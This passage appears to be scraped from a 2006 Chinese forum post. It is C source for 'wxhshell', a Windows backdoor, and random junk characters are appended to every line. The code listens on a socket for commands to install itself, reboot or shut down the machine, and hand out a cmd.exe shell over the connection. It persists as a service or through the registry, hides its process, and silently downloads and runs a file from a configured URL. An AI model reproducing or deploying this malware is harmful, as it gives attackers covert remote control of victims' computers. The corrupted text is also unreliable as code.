  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &x;v&  
  } \[Rh\v&  
  else { )+cP8$n6L  
>`s2s@Mx  
    switch(cmd[0]) { tr/S*0$  
  *,pG4kh!  
  // 帮助 ds7I .Q'  
  case '?': { bU_9GGG|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CQ3;NY=o  
    break; u49/LtB\  
  } KvktC|~?  
  // 安装 mC J/gWDY  
  case 'i': { *"1]NAz+  
    if(Install()) l'-iIbKX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gpE5ua&  
    else j: ]/AReOL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yuKfhg7  
    break; F(@|p]3*  
    } >JC.qjA  
  // 卸载 1Qf5H!5vx  
  case 'r': { wIi(p5*  
    if(Uninstall()) #i:p,5~")  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w*Kw#m'U  
    else 9[$g;}w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n;O 3.2  
    break; (:E^} &A  
    } 1z[WJ}$u  
  // 显示 wxhshell 所在路径 p?8> 9  
  case 'p': { ^HC! my  
    char svExeFile[MAX_PATH]; . KRh59yg  
    strcpy(svExeFile,"\n\r"); 0g`WRe  
      strcat(svExeFile,ExeFile); O^sgUT1O  
        send(wsh,svExeFile,strlen(svExeFile),0); %&e5i  
    break; TKj9s'/  
    } T[ky7\  
  // 重启 y . AN0  
  case 'b': { Cn+TcdHX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nLo:\I(  
    if(Boot(REBOOT)) qYbod+UX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tEf-BV;\y  
    else { 5_=&U-? H  
    closesocket(wsh); #pOW2 Uj8\  
    ExitThread(0); >I!dJH/gj  
    } c;wt9J.f  
    break; &=_YL  
    } c3K(mM:  
  // 关机 E%/E%9-7\  
  case 'd': { GAz;4pUZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %T1(3T{Li  
    if(Boot(SHUTDOWN)) |@V<}2zCZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~#) DJ  
    else { p/SJt0  
    closesocket(wsh); {e>}.R  
    ExitThread(0); UW)k]@L  
    } eQzSWn[  
    break; 9)mJo(  
    } xr.fZMOh4  
  // 获取shell ZTHr jW1  
  case 's': { *-` /A  
    CmdShell(wsh); 1/ j}VC  
    closesocket(wsh); Y}e$5  
    ExitThread(0); -C.eXR{s  
    break; DAc jx:~  
  } :c<C;.  
  // 退出 MUVp8! *@  
  case 'x': { D Q~+\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E-Cj^#OY|N  
    CloseIt(wsh); ~Dgui/r9J  
    break; JnPA;1@/  
    } P+oCcYp  
  // 离开 fa"eyBO50  
  case 'q': { RwY) O5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5?6 ATP:[  
    closesocket(wsh); rK)%n!Z  
    WSACleanup(); &5C%5C~ch  
    exit(1); $+V{2k4X,  
    break; H^'EY:|  
        } $6ITa}o  
  } 3$WK%"%T  
  } JWH}0+1*  
#YhKAG@|  
  // 提示信息 D:%$a]_f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  21w<8:Vg  
} *>Om3[D  
  } 7|"11^q  
pE15[fJ`  
  return; `(Ei-$ >U&  
} kA\;h|Y3  
42Ql^ka  
// shell模块句柄 0^{zq|%Q!  
int CmdShell(SOCKET sock) */?L_\7  
{ U3A>#EV  
STARTUPINFO si; Awe\KJ^`  
ZeroMemory(&si,sizeof(si)); :n>:*e@w%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *)u_m h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9l OUE  
PROCESS_INFORMATION ProcessInfo; uK): d&]Ux  
char cmdline[]="cmd"; j+Wgjf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qfN<w&P  
  return 0; ,cgC_ %  
} )pJ}o&J  
VJuPC  
// 自身启动模式 H+_oK ]/  
int StartFromService(void) bncK8SK  
{ :tR%y"  
typedef struct Fv e,&~  
{ qF( ]Ce  
  DWORD ExitStatus; 2yeq2v   
  DWORD PebBaseAddress; m0/J3  
  DWORD AffinityMask; JEFW}M)UGv  
  DWORD BasePriority; ;#f_e;  
  ULONG UniqueProcessId; ( |O;Ci  
  ULONG InheritedFromUniqueProcessId; 6o6!O l  
}   PROCESS_BASIC_INFORMATION; 'KyT]OObS  
v-OGY[|97  
PROCNTQSIP NtQueryInformationProcess; Tz%l 9aC  
KGK8;Q,O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /A##Yv!biR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ux{OgF fi  
-c|O!Lc-  
  HANDLE             hProcess; o)1wF X  
  PROCESS_BASIC_INFORMATION pbi; MS,H12h  
<*4=sX@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c WK@O>  
  if(NULL == hInst ) return 0; >o'D/'>ku  
vP&*(WfO)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ls #O0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <J`_Qc8C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &QCqaJ-  
0Dh a1[=  
  if (!NtQueryInformationProcess) return 0; TpMfk7-  
ub.pJJlC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,{zvGZ|  
  if(!hProcess) return 0; | b@?]M  
S7N54X2JwL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )t)tk=R9N  
B%'Np7  
  CloseHandle(hProcess); t}*teo[  
E7*1QR{Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z < uwqA  
if(hProcess==NULL) return 0; EcwH O  
=X% D;2  
HMODULE hMod; ^Ko0zz|R/  
char procName[255]; Qy4AuMU2  
unsigned long cbNeeded; \6C"bQ  
QKHmOVh]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); frGUT#9?n  
*OsXjL`f  
  CloseHandle(hProcess); >E)UmO{S  
V|b?H6Q  
if(strstr(procName,"services")) return 1; // 以服务启动 {9C(\i +  
j}h50*6KO  
  return 0; // 注册表启动 mv30xcc  
} ;5 IS58L  
guFR5>-L  
// 主模块 *sL'6"#Cre  
int StartWxhshell(LPSTR lpCmdLine) pRt )B`#  
{ %J+$p\c  
  SOCKET wsl; w(mn@Qc  
BOOL val=TRUE; 3c-ve$8u~  
  int port=0; ~ZvZ k  
  struct sockaddr_in door; Dw.>4bA.  
0imz }Z]  
  if(wscfg.ws_autoins) Install(); Uhg[#TUK  
xFyMg&  
port=atoi(lpCmdLine); ]~a!O  
lzxn} TO}  
if(port<=0) port=wscfg.ws_port; SkPv.H0Id  
[ >vS+G  
  WSADATA data; qTffh{q V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .X:{s,@  
KP:O]520  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n.7 $*9)#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sPd5f2'  
  door.sin_family = AF_INET; .|iUDp6vz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0udE\/4!^  
  door.sin_port = htons(port); t^h>~o' \  
R[_7ab]A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '{7A1yJnY%  
closesocket(wsl); uO":\<1#  
return 1; 3>S.wyMR4  
} 5[Q44$a{  
<|m"Q!f  
  if(listen(wsl,2) == INVALID_SOCKET) { Sfvi|kZX  
closesocket(wsl); hcN$p2-  
return 1; pwu5Fxn)  
} lGcHfW)Y  
  Wxhshell(wsl); hW|t~|j#_  
  WSACleanup(); !XtbZ-  
jMw;`yh  
return 0; k@wT,?kD  
*qq%)7  
} v4qvq GK  
0<^K0>lm p  
// 以NT服务方式启动 Ay2|@1e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @V<tg"(c  
{ \(;5YCCE  
DWORD   status = 0; 3Um\?fj>}(  
  DWORD   specificError = 0xfffffff; A\:=p  
]jy6C'Mp  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  w[VWk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +J#H9>To!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <89 js87  
  serviceStatus.dwWin32ExitCode     = 0; %n-LDn  
  serviceStatus.dwServiceSpecificExitCode = 0; zlXkD~GV  
  serviceStatus.dwCheckPoint       = 0; Xbap' /t  
  serviceStatus.dwWaitHint       = 0; [u-~<80  
o}NKqA3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !>2s5^JI9  
  if (hServiceStatusHandle==0) return; .j;My%)?p  
(xxJ^u>QC  
status = GetLastError(); ,ciNoP*-~%  
  if (status!=NO_ERROR) q Rtgk  
{ [#)$BXG~y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ b#9^2o  
    serviceStatus.dwCheckPoint       = 0; `;i| %$TU  
    serviceStatus.dwWaitHint       = 0; 1{u;-pg  
    serviceStatus.dwWin32ExitCode     = status; z3a te^PJF  
    serviceStatus.dwServiceSpecificExitCode = specificError; @gTpiV2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~){*XJw6  
    return; /n:s9eq  
  } Gz6FwU8L  
)iEK7d^-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; op}x}Ioz  
  serviceStatus.dwCheckPoint       = 0; KiCZEA  
  serviceStatus.dwWaitHint       = 0; . vYGJ8(P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D./e|i?  
} \yM[?/<  
9hLPo  
// 处理NT服务事件,比如:启动、停止 .8wR;^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *d(wO l5[  
{ m ;[z)-&"  
switch(fdwControl) Z1q '4h=F.  
{ @^`f~0#:  
case SERVICE_CONTROL_STOP: _}Z*%sT  
  serviceStatus.dwWin32ExitCode = 0; xb1)ZJH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {Y\hr+A  
  serviceStatus.dwCheckPoint   = 0; ! 4i  
  serviceStatus.dwWaitHint     = 0; y.mojx%?a  
  { SD TX0v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `ORDN|s6  
  } GDOaZi  
  return; {V:?r  
case SERVICE_CONTROL_PAUSE: /&ph-4\i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r;S%BFMJS  
  break; AKL~F|t  
case SERVICE_CONTROL_CONTINUE: a}e7Q<cGj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }S%a]  
  break; v*#Z{)r  
case SERVICE_CONTROL_INTERROGATE: (-"A5(X:/  
  break; d9sgk3K  
}; ]4hXK!^Uu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9lny[{9  
} ~ocd4,d=  
[IW@ mn>  
// 标准应用程序主函数 J"[OH,/_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }H^#}  
{ n>iPA D  
")Bf^DV  
// 获取操作系统版本 )P|Ql-rE4  
OsIsNt=GetOsVer(); yv'mV=BMJ!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $H5PB' b  
q^12Rj;H  
  // 从命令行安装 Yh"Z@D[d  
  if(strpbrk(lpCmdLine,"iI")) Install(); zBc7bbK  
WqTW@-}ID  
  // 下载执行文件 {uckYx-A  
if(wscfg.ws_downexe) { YQ?|Vb U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q/0}AQO  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5^%^8o  
} f \4Qp  
[ BN2c  
if(!OsIsNt) { kXG+zsT  
// 如果时win9x,隐藏进程并且设置为注册表启动 AM Rj N;  
HideProc(); FtF!Dtv  
StartWxhshell(lpCmdLine); <v{jJ7w  
} OTV)#,occ  
else gW*ee  
  if(StartFromService()) PUlb(3p `  
  // 以服务方式启动 }1$8)zH  
  StartServiceCtrlDispatcher(DispatchTable); A4&e#  
else ViVYyA  
  // 普通方式启动 B8IfE`  
  StartWxhshell(lpCmdLine); (/hF~A  
i.fDH57  
return 0; [KjQW/sb'  
}
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只看该作者 1 发表于: 2006-10-10
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